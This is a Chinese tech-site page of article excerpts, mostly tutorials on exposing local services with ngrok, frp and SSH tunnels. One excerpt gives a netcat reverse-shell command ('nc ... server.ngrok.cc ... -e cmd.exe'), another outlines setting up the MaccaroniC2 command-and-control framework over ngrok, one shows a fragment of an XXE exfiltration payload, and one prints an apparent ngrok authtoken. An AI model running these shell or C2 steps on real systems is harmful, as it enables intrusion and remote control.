首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

推荐一款实现内网穿透的测试神器:Ngrok

将网站部署到服务器上 调试结束后,再将网站从服务器上删除 只不过是想向朋友展示一下网站而已,要不要这么麻烦,累感不爱了 。...你会得到一串网址,通过这个网址就可以访问你本地的Web服务了。 PS: 笔者在2017年,通过Ngrok结合自主开发的一个监控定位服务,帮一位亲戚追踪到了一个“被落入到传销组织的人口失踪案”。.../ngrok authtoken 5HNiAMs5vX91K6rSfwkJC_27oaFSaMUPfBi7KobjqHt 授权码和账户是绑定的,在授权命令运行后,ngrok会将授权码保存在~/.ngrok2...当然,ngrok也提供了解决方法,那就是付费,可以设置固定域名。 如果只是需要简单的外网调试,用Free免费版就足够了,如果需要自定义二级域名的,可以花点小钱,升级到付费版。 5....国内Ngrok官网:https://www.ngrok.cc/ 注册账号后,可以直接添加隧道,如果不想花钱的,可以直接选择中国香港的Ngrok服务器。

6.2K31

通过Ngrok实现内网穿透助力远程开发

在现代软件开发和网络应用的环境下,开发人员常常需要在本地搭建服务器进行调试、测试或演示。然而,传统的端口映射(如使用 NAT 或 SSH 隧道)配置繁琐,且并非所有环境都允许直接暴露本地服务。...注册并配置 ngrok在 ngrok官网 注册一个账户。登录后,你会在控制面板中看到一个 AuthToken(授权令牌)。...5. 查看 ngrok 的 Web 面板ngrok 会启动一个本地的 Web 面板(默认是 http://127.0.0.1:4040),你可以在该面板中查看请求日志、请求详情、重新播放请求等。6....停止 ngrok可以通过按 Ctrl+C 来停止 ngrok,这会终止当前的隧道连接。7. 访问 ngrok 开放端口下的接口在前端直接访问通过 Ngrok 发布到公网的接口时,会被中间页拦截。...Ngrok 内网穿透总结ngrok 作为一款轻量级的网络隧道工具,为开发者提供了一种高效、便捷的方式,将本地服务安全地暴露到公网。

23821
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    windows下内网穿透工具Ngrok安装与使用

    :8080)转换为www.baidu.com一样的万网,这样,即使电脑与手机不是在同一局域网内也可以无缝访问,(厉害吧!)。...) 2.1ngrox国际版简介 ngrox官网服务器在国外,官网链接:https://dashboard.ngrok.com/get-started 进去注册一个账户,我直接用GitHub账户登陆的..._3LhvQQxwMiyuw4DNME5W8:这是隧道id(隧道id,就是图3中的) 运行完之后在本机C:\Users\taohang.ngrok2文件夹下出现ngrok.yml 内容是...http://127.0.0.1:4040 就可以进入后台 在浏览器输入http://d5cd433a.ngrok.io 或者https://d5cd433a.ngrok.io 就可以访问本机...(后台界面->隧道管理),里面可以配置隧道id,隧道名称,隧道协议,本地端口,服务器类型,到期日期,赠送域名,还可以编辑,删除等 在链接好隧道id后,它会直接弹出配置好的本地端口所对应的万网链接地址

    8.9K10

    不用服务器,1 分钟上线网站!

    它的作用是:将内网的电脑 “暴露” 到公共网络。可以简单理解为一个中间人,由于他知道你的电脑地址,所以能建立一条隧道,帮助其他用户访问到你的计算机。...Ngrok 实现内网穿透 首先我们访问 Ngrok 官网,使用 GitHub 或者邮箱进行注册登录。...,在本地执行 ngrok 命令添加用户的 authtoken: 直接复制上图的命令,进入到 ngrok 文件所在的目录执行,如下图: 现在,你的账号信息已经保存到本地的 ngrok 配置文件中了,接下来只需要执行...可以从 ngrok 官网找到静态域名的配置: 第一次进入域名配置页面时,如果没有域名,可以免费创建一个: 创建好域名后,复制下图的 ngrok 启动命令: 然后在终端中执行该命令即可,本质上就是在启动...和 8104: 之后,可以通过 ngrok start 隧道名称> 配置指定启动哪个隧道: 或者执行 ngrok start --all 命令同时启动所有隧道,运行结果如下,同时在 ngrok-free.app

    58550

    常见端口转发工具的使用方式(二)

    Ngrok Ngrok一个反向代理,通过在公共的端点和本地端口建立一个安全的通道,其功能可以反向代理出web服务还有端口转发,这里我们主要演示端口转发的功能 由于ngrok这个工具官网是要访问外国网站的...,所以是能使用国内的Sunny-Ngrok 反弹nc shell 首先我们启动ngrok ..../sunny clientid 隧道id 本地监听端口: nc -vv -lp 9991 目标机器: nc -vv server.ngrok.cc 33388 -e cmd.exe...这个我们使用nc本地监听ngrok转发的本地端口9001,然后目标机器请求ngrok分配的公网地址把自己的shell交给ngrok公网开放的端口,ngrok把端口再转发到我们本地建立一个隧道获取到...EathWorm EathWorm是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透,跨平台!!!

    1.3K80

    【群友】Ngrok让你的本地Web应用暴露在公网上

    3.简单使用 实验环境:Windows7、Ngrok 2.1.3 Step1:首先去Ngrok官网去下载最新版本客户端。...在Ngrok官网注册一个账号,在Auth菜单下获取官方分配的authtoken。...cd进入到ngrok.exe的根目录下,输入如下指令: ngrok authtoken Step4:通过上述几步,现在就可以创建一个安全隧道,将本地服务IP...ngrok http 8080 Step5:从上图Ngrok服务开启后的状态可以看出` http://7a65105c.ngrok.io`就是生成的公网域名。...相关推荐: Sunny-Ngrok内网转发 Ngrok国内免费服务器——糖果科技 NATAPP 基于ngrok高速内网穿透服务 pc5s - 互联网到个人电脑的反向代理 其具体使用规则很简单,并且都有详细的文档或视频说明

    2.2K60

    可以实现内网穿透的几款工具

    Lanproxy Spike frp fcn 花生壳 前5个都是基于国外的ngrok来进行二次开发的。...1、Ngrok ngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网。...免费版本:提供http,https,tcp全隧道穿透,随机域名/TCP端口,不定时强制更换域名/端口,自定义本地端口 参考文章:NATAPP1分钟快速新手图文教程 3、小米球 小米球是基于ngrok二次开发的内网穿透工具...具体的使用直接参考官网。...教程:Sunny-Ngrok使用教程 5、echosite echosite同样ngrok二次开发的内网穿透工具,支持多种协议,以前是全部免费的,现在推出了收费版和免费版,可根据自己的需要去选择。

    8.4K11

    调试利器-SSH隧道

    但当涉及到需要调用微信接口时,由于不和你在同一个局域网中的用户是无法访问你的本地开发机的,就必须把修改后的代码重新发布到线上域名所在的服务器才能去验证结果。每次修改都重新发布很繁琐也很浪费时间。...假如已经通过 SSH 隧道把本地开发机和外网服务器连接在了一起,外网服务器端监听在 12.34.56.78:8080,那么所有发给 12.34.56.78:8080 的数据都会通过 SSH 隧道原封不动地传输给本地开发机的...先来回顾以下 SSH 远程登入命令,假如想在本地远程登入到 12.34.56.78,可以在本地开发机上执行以下命令: ssh username@12.34.56.78 而实现 SSH 隧道只需在本地开发机上执行...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案的缺点在于都需要再额外安装其它工具

    1.8K20

    可构建和定制您自己的AI城镇的热门项目——AI Town

    接下来,我们需要设置一个tunnelmole或ngrok隧道,以便Convex可以访问它:使用TunnelmoleTunnelmole[34]是一个开源的隧道工具。...其他 Tunnelmole和Ngrok都是用于建立隧道连接的工具,但它们的应用场景和目的有所不同。 Tunnelmole •用途:Tunnelmole主要用于创建安全的网络隧道。...Ngrok •用途:Ngrok主要用于将本地服务器暴露到公共互联网上。它创建一个安全的隧道到本地主机,使得本地运行的服务器或服务可以被外部网络访问。...Ngrok 1.功能:•Ngrok是一个隧道服务工具,它允许你将本地运行的服务器或服务暴露给外部的互联网。•它创建了一个从公共端点(URL)到本地主机的安全隧道。...•Ngrok创建的是从外部到本地的隧道;Nginx则在服务器端处理来自客户端的请求。联系:•两者都涉及网络请求的处理和转发,但在不同的环节和目的。•在某些场景下,它们可以协同工作。

    54010

    MaccaroniC2:一款功能强大的纯Python命令控制框架

    在特定场景中,目标设备需要运行AsyncSSH服务器并建立一个通向外部的隧道,并随时准备接收研究人员发送的命令。 命令发送方利用Ngrok官方API来获取隧道的主机名和端口信息,并建立通信连接。...4、将AUTH令牌添加到asyncssh_server.py文件中的token变量中,该参数需要硬编码到ngrok_tunnel()函数中。...5、在Ngrok网站上创建一个免费的API密钥,记录下生成的密钥字符串。...6、将API密钥字符串写入到async_commander.py文件的api_key变量中,这样就可以自动获取活动隧道的Ngrok域名和端口数据了。...该脚本将会使用Ngrok官方API自动请求目标设备激活的Ngrok活动隧道的域名和端口信息。 需要注意的是,id_rsa文件必须跟async_commander.py脚本在同一目录中。

    20710

    调试利器-SSH隧道

    但当涉及到需要调用微信接口时,由于不和你在同一个局域网中的用户是无法访问你的本地开发机的,就必须把修改后的代码重新发布到线上域名所在的服务器才能去验证结果。每次修改都重新发布很繁琐也很浪费时间。...假如已经通过 SSH 隧道把本地开发机和外网服务器连接在了一起,外网服务器端监听在 12.34.56.78:8080,那么所有发给 12.34.56.78:8080 的数据都会通过 SSH 隧道原封不动地传输给本地开发机的...先来回顾以下 SSH 远程登入命令,假如想在本地远程登入到 12.34.56.78,可以在本地开发机上执行以下命令: ssh username@12.34.56.78 而实现 SSH 隧道只需在本地开发机上执行...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案的缺点在于都需要再额外安装其它工具

    2.8K90

    利用ngrok实现Linux服务器 SSH&Web服务的内网穿透

    前言:ngrok概念用途 ngrok是一个非常流行的反向代理服务,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道,支持80端口以及自定义tcp端口转发.ngrok 可捕获和分析所有通道上的流量...,便于后期分析和重放,可以进行内网穿透,这样你就可以在内网运行本地的程序,让别人通过公网访问了 原理:ngrok通过安全隧道将NAT和防火墙后面的本地服务器暴露给公共互联网.你可以在你的机器上下载并运行...3)授权口令authtoken从官网的Dashboard—Auth页面上Copy复制下来,然后运行./ngrokauthtoken XXXXXXXXX ,如下截图所示 ? ?...:18188去访问 5)在外网PC上SecureCRT登录0.tcp.ngrok.io:18188验证一下 ?...总结:一条命令解决外网访问内网问题,无需任何配置,下载ngrok之后直接一条命令让外网访问您的内网不再是距离 另外:ngrok 是一个开源程序,官网服务在国外,国内访问国外速度慢.国内有相应类似ngrok

    6.5K20

    技术分析|XXE环境搭建及实战 包含有回显无回显操作

    不(我)想(没)用(有)外部服务器,就自己在攻击机上面搭建一个服务器,用于接收数据 说明:需要一个客户端转发内网地址到外网,从而实现穷屌接收数据的伟大梦想 环境: tomcat7、ngrok...、假设没有回显 在ngrok注册一个账号:https://www.ngrok.cc/ 创建免费ngrok的http服务 注册成功后选择开通隧道–免费中国香港主机 选择http协议、隧道名称和前置域名填你自己的就行了...然后点击隧道管理,需要记录的是隧道ID和赠送域名 客户端下载地址:https://www.ngrok.cc/download.html 根据你的操作系统选择对应的客户端。.../bin/startup.bat ngrok运行 运行 Sunny-Ngrok启动工具.bat 然后填入刚开始记录的隧道id,点击回车 访问你自己的域名,出现tomcat说明环境搭建好了...%file;'>" > %all; 第二步:攻击机中发送恶意XXE代码到攻击者服务器 POC: <!DOCTYPE ANY [ <!

    2.6K10

    内网穿透

    # frp(提供软件服务) 通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括: 客户端服务端通信支持 TCP、KCP 以及 Websocket...多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。...local_ip 和 local_port 配置为本地需要暴露到公网的服务地址和端口。 remote_port 表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。...local_ip 和 local_port 配置为本地需要暴露到公网的服务地址和端口。 remote_port 表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。...,可以输入,sudo systemctl status frps # Ngrok(提供线上隧道和线上管理平台) # 第一步:注册/登陆Ngork 点击进入Ngrok官网 (opens new window

    1.5K10

    调试利器:SSH隧道

    但当涉及到需要调用微信接口时,由于不和你在同一个局域网中的用户是无法访问你的本地开发机的,就必须把修改后的代码重新发布到线上域名所在的服务器才能去验证结果。每次修改都重新发布很繁琐也很浪费时间。...假如已经通过 SSH 隧道把本地开发机和外网服务器连接在了一起,外网服务器端监听在 12.34.56.78:8080,那么所有发给 12.34.56.78:8080 的数据都会通过 SSH 隧道原封不动地传输给本地开发机的...先来回顾以下 SSH 远程登入命令,假如想在本地远程登入到 12.34.56.78,可以在本地开发机上执行以下命令: ssh username@12.34.56.78 而实现 SSH 隧道只需在本地开发机上执行...frp 有以下特性: frp 比 SSH 隧道功能更多,配置项更多; frp 也需要一台外网服务器,并且需要在外网服务器上安装 frps,在本地开发机上安装 frpc; ngrok ngrok 是一个商用的内网穿透工具...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案的缺点在于都需要再额外安装其它工具

    4.2K00
    领券